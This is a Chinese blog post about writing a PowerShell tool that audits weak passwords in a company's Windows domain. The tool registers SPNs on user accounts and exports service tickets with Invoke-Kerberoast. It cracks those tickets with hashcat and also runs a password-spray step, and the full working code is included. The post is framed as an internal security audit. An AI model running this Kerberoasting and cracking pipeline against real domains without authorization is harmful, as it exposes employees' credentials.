记一次编写域账号弱口令审计工具

admin 2022年3月17日03:13:20评论59 views字数 7999阅读26分39秒阅读模式

记一次编写域账号弱口令审计工具

0×00 背景

为了进行相关安全方面的认证,需要对公司域环境内员工账号的密码进行审计 作为一名从事信息安全的人员,尝试在本身拥有的权限以内,在不影响其他员工日常工作不影响服务器正常运行的情况下,审计出使用弱密码作为登录口令的员工。

0×01 过程

0×0101 LDAP尝试

因为员工的电脑都处于一个域环境下因而所有的账号密码都保存在域控的一个数据库中。

刚开始想到可以使用Powershell通过LDAP向域控发送用户名和密码一个个进行爆破尝试

然而因为域环境下为设定了账户锁定策略,连续尝试5次失败后,会被锁定30min,会严重影响到被锁定账户员工的工作。

因而这条思路对同一个用户只能尝试5次,走不通。

0×0102 Kerberos尝试

记一次编写域账号弱口令审计工具

1. 想到域环境下通常使用Kerberos作为网络认证协议,可以利用黄金票据和白银票据来进行渗透测试。

黄金票据:


黄金票据是要伪造出AS颁发给Client的TGT,伪造的其中一个条件就是要获得KDC的KRBTGT账户的密钥 * 然而自身只拥有一台公司发的工作电脑,域控管理员没有在这台电脑上登录过,因而也就无法通过mimikatz工具提取到权限较大的管理员的账户口令。

白银票据:

白银票据是要伪造出TGS颁发给Client的ST,伪造的其中一个条件就是要获得特定Service Server的账号密码。通过白银票据,可以访问特定Service Server上的所有资源。

2. 我的目的在于如何获得特定Service Server的账号密码,这里有一个重点  域内电脑通常有两个账户,

一个是域计算机账户,可以使用net group “domain computers” /domain进行查看:

域计算机账户的密码是自动生成的 通常在128位及以上 很难破解

记一次编写域账号弱口令审计工具

一个是域用户账户可以使用net group “domain users” /domain进行查看:

域用户账户的密码是用户自己设置,按照账户密码策略进行设置

记一次编写域账号弱口令审计工具

3. 如果熟悉Kerberos协议,我们了解到在第四步,TGS会返回给Client一个用户特定Service Server账户密码的NT Hash加密的ST,我们可以尝试对ST进行爆破,进而得到特定Service Server账户的密码。这里我只说了Service Server账户,是因为这里也有一个重点。这里的Service Server 也有两种 是根据域账户的类型来进行分类的。Service Server有一个专门的名称 即SPN(Service Shysical Name,服务实体名称 可以通过setspn -T <domainName> -q */*查询现在已注册的所有的SPN。


*   在计算机加入到域中时会自动使用**域计算机账户**注册SPN;

* ![1573450070_5dc8f15657951.png!small](https://image.3001.net/images/20191111/1573450070_5dc8f15657951.png!small)
* 另一种时以**域用户账户**的身份手动注册SPN。

* ![1573450083_5dc8f163413b3.png!small](https://image.3001.net/images/20191111/1573450083_5dc8f163413b3.png!small)

4. 因为员工都是个人电脑,所以上面查到的基本都是域计算机账户加入域时自动注册的SPN,这里便需要我们尝试为员工的域账户注册SPN。

可以通过setspn -A ServiceClass/<hostname> <domainUserName>注册SPN

记一次编写域账号弱口令审计工具

5. 之后我们便可以进行Kerberos的第三步以获取ST 利用Invoke-Kerberoast.ps1以hashcat格式导出ST

6. 利用hashcat工具进行爆破

0×02 工具编写思路

抓取所有的域用户服务账户

清洗得到的数据放入账户列表中

为每一个域用户账户注册SPN

将注册成功的域用户账户的SPN放进一个列表

访问列表中的每一个SPN使用mimikatz导出缓存的上面各个SPN的服务凭据

或使用Invoke-Kerberoast以Hashcat格式导出每个SPN的ST的Hash

利用tgsrepcrack.py爆破上面的服务凭据

或利用hashcat工具爆破上面得到的Hash

0×03 代码

<#domainAccountCheck.ps1Author: JC (@chroblert)#># 得到域中所有的用户function Get-UserList{    # 将包含域用户账户的结果保存到$resultList中去    $resultList = net group "domain users" /domain |%{ $_ -split " "}|%{ if ($_ -ne ""){$_.trim()}}    # 上述列表中,包含一些杂乱的数据,需要将其进行清洗    foreach ($line in $resultList){        if($line.contains("---")){            $start = $resultList.indexof($line) + 1            # 减去2是因为最后一个的下标比数量少1,且最后一个不是有效的账户            $end = $resultList.count - 2         }    }    $userListA = $resultList[$start..$end]    $userList = New-Object System.Collections.ArrayList    foreach ($user in $userListA){        if( -Not $user.contains("$")){            $userList.add($user)|Out-Null        }    }    Write-Host "保存域中所有的域用户账号到.resultallUserList.txt文件中去"    $userList | Out-File ".resultallUserList.txt"    return $userList.clone()}# 为域用户账户注册SPNfunction Set-SPN{    Param(        [System.Collections.ArrayList] $allUserList    )    if($allUserList -eq $null){        if(Test-Path ".resultallUserList.txt"){            Write-Host "使用result目录下的allUserList.txt文件进行操作"            $allUserList = Get-Content .resultallUserList.txt        }else{            Write-Host "参数值错误,且不存在allUserList.txt文件,EXIT"            return $false        }
} $sucUserList = New-Object System.Collections.ArrayList $faiUserList = New-Object System.Collections.ArrayList $sucSPNList = New-Object System.Collections.ArrayList $faiSPNList = New-Object System.Collections.ArrayList $allUserAndSPNList = New-Object System.Collections.ArrayList foreach ($num in 1..$allUserList.count){ # 将要执行的命令进行动态拼接 $SPNStr = "weakPasswordTest/JC-ISDevil" + $num $userStr = $allUserList[$num-1] $allUserAndSPNList.add($userStr + "|#|" + $SPNStr) | Out-Null # 执行包含命令的字符串 # 使用Invoke-Expression后不知如何判断字符串命令执行的结果,因而弃用 #Invoke-Expression $setStr # redirect error stream(2) to success stream(1) setspn -S $SPNStr -U $userStr 2>&1 | Out-Null if ($? -contains "True"){ Write-Host -ForegroundColor Green "【+】" $userStr "注册成功" $sucUserList.add($userStr) | Out-Null $sucSPNList.add($SPNStr) | Out-Null }else{ Write-Host -ForegroundColor Red "【-】" $userStr "注册失败" $faiUserList.add($userStr)|Out-Null } # 暂停 等待用户输入数据 # Read-Host } Write-Host "保存所有user和SPN到.resultallUserAndSPNList.txt文件中去" $allUserAndSPNList | Out-File ".resultallUserAndSPNList.txt" Write-Host "保存注册SPN成功的域用户账号到.resultsucUserList.txt文件中去" $sucUserList | Out-File ".resultsucUserList.txt" Write-Host "保存注册SPN成功的SPN到.resultsucSPNList.txt文件中去" $sucSPNList | Out-File ".resultsucSPNList.txt" Write-Host "保存注册SPN失败的域用户账号到.resultfaiUserList.txt文件中去" $faiUserList | Out-File ".resultfaiUserList.txt" return $sucUserList,$sucSPNList,$faiUserList}
function Del-SPN{ Param( [System.Collections.ArrayList] $sucSPNListA, [System.Collections.ArrayList] $sucUserListA ) if ($sucSPNListA -eq $null -or $sucUserListA -eq $null){ if(Test-Path '.resultsucSPNList.txt' -and Test-Path ".resultsucUserList.txt"){ Write-Host "传参错误,将启用文件sucSPNList.txt和sucUserList.txt中的内容" $sucSPNListA = Get-Content .resultsucSPNList.txt $sucUserListA = Get-Content .resultsucUserList.txt }else{ Write-Host "传参错误且相关文件不存在,EXIT" return $false } } if ($sucSPNListA.count -ne $sucUserListA.count){ Write-Host "SPN数量与用户数量不等,EXIT" return $false } if ($sucSPNListA.count -eq 0 -OR $sucUserListA.count -eq 0){ Write-Host "数组为空,EXIT" return $false } foreach ($spnStr in $sucSPNListA){ setspn -D $spnStr $sucUserListA[$sucSPNListA.indexof($spnStr)] 2>&1 |Out-Null if($? -contains "True") { Write-Host "删除成功" }else{ Write-Host "删除失败" } } Write-Host "全部删除成功"}
# 访问SPN得到TGS发放的服务票据ST,提取其中的Hash值并保存到krbstHash.txt文件中去function Get-ServiceTicket{ Param( [String] $krbstHashFileName ) Import-Module ./kerberoast/Invoke-Kerberoast.ps1 # Set-Content 以ANSI编码方式保存文件;Out-File 默认以Unicode方式保存文件,因而需要指定编码格式 Invoke-Kerberoast -OutputFormat Hashcat|select hash|%{$_.Hash}|Out-File $krbstHashFileName -Encoding ascii}# 引入tgscrack来爆破下载下来的凭据function Crack-ServiceTicket{ Param( [String] $krbstHashFileName, [String] $passwdDictFileName ) Write-Host "正在爆破中ing.......请稍等" if((Test-Path $krbstHashFileName) -and (Test-Path $passwdDictFileName)){ .hashcathashcat64.exe -m 13100 -a 0 $krbstHashFileName $passwdDictFileName -o ".succeed.txt" --force if(Test-Path ".resultsucceed.txt"){ $hashAndPasswdList = Get-Content ".resultsucceed.txt" $userAndPasswdList = New-Object System.Collections.ArrayList foreach($item in $hashAndPasswdList){ $userStr = ($item.split("$")[3]).split("*")[1] $passwdStr = $item.split(":")[1] $userAndPasswd = $userStr + "|#|" + $passwdStr Write-Host -ForegroundColor Green "【+】" $userAndPasswd $userAndPasswdList.add($userAndPasswd) | Out-Null } }else{ Write-Host "没有从密码字典中审计出弱口令" return $false } }else{ Write-Host "相关文件不存在,EXIT" return $false } Write-Host "将破解出的用户名和密码保存到.resultuserAndPasswdList.txt文件中去" $userAndPasswdList | Out-File ".resultuserAndPasswdList.txt"}function LDAPCheck{ Write-Host -ForegroundColor Yellow "使用该项功能需注意,很容易锁住账户" $tmpFile = "./result/tmpPasswd.txt" if(Test-Path "./result/userAndPasswdList.txt"){ Get-Content .resultuserAndPasswdList.txt|%{$_.split('|#|')[3]}|sort -Unique | Out-File -Encoding ascii $tmpFile }else{ Write-Host -ForegroundColor Yellow "之前没有审计出弱口令,请在result目录下新建tmpPasswd.txt文件,在里面放入密码,每行一个" break } if(Test-Path $tmpFile){ Import-Module ./kerberoast/DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -PasswordList $tmpFile -O "LDAPCheckResult.txt" }}# 创建一个用来保存结果的目录if(-Not (Test-Path ".result")){ New-Item -ItemType Directory "result"}# menu$krbstHashFile = ".krbstHash.txt"$passwdDictFile = ".DictsJCPasswd.txt"Do { Write-Host "======domainAcountCheck======" Write-Host "|| Author:JC ||" Write-Host "|| Version:2.0.1 ||" Write-Host "=============================" Write-Host "=== 选项 ===" Write-Host "| 1 获取域内所有域用户账户" Write-Host "| 2 为域内的所有用户账户尝试注册SPN" Write-Host "| 3 获取现有SPN的凭据的Hash" Write-Host "| 4 爆破获得的Hash" Write-Host "| 5 删除注册的SPN" Write-Host "| 6 使用SPN审计获得的密码通过LDAP方式再次进行审计" Write-Host "| 7 全部运行" Write-Host "| 0 EXIT" $choice = Read-Host "请选择一个选项进行操作`n>>" switch($choice){ 1 { Write-Host "获取到所有的域用户账户" $allUserList = Get-UserList break } 2 { Read-Host "为每一个域用户账号注册SPN" $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList break } 3 { Get-ServiceTicket $krbstHashFile break } 4 { Crack-ServiceTicket $krbstHashFile $passwdDictFile break } 5 { Read-Host "下面将要为注册SPN成功的域用户账户删除SPN" Del-SPN $sucSPNList $sucUserList break } 6 { LDAPCheck break } 7 { # 1. 获取用户 Write-Host "获取到所有的域用户账户" $allUserList = Get-UserList # 2. 注册SPN Read-Host "为每一个域用户账号注册SPN" $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList # 3. 访问SPN获得ST,并以hashcat模式保存到文件krbstHash.txt中 Get-ServiceTicket $krbstHashFile # 4. 使用hashcat爆破ST中hash对应的口令 Crack-ServiceTicket $krbstHashFile $passwdDictFile # 5. 删除SPN Read-Host "下面将要为注册SPN成功的域用户账户删除SPN" Del-SPN $sucSPNList $sucUserList break } 0 { Write-Host "相关结果文件,请到result目录查看" return $false break } default {"请重新选择`n"} }}While($true)

上面为主要代码全部代码在GitHub:https://github.com/chroblert/domainWeakPasswdCheck

0×04 使用

填充密码字典文件

dicts/JCPasswd.txt

powershell下运行

记一次编写域账号弱口令审计工具

运行后结果:

记一次编写域账号弱口令审计工具

记一次编写域账号弱口令审计工具


本文始发于微信公众号(疯猫网络):记一次编写域账号弱口令审计工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日03:13:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次编写域账号弱口令审计工具http://cn-sec.com/archives/507358.html

发表评论

匿名网友 填写信息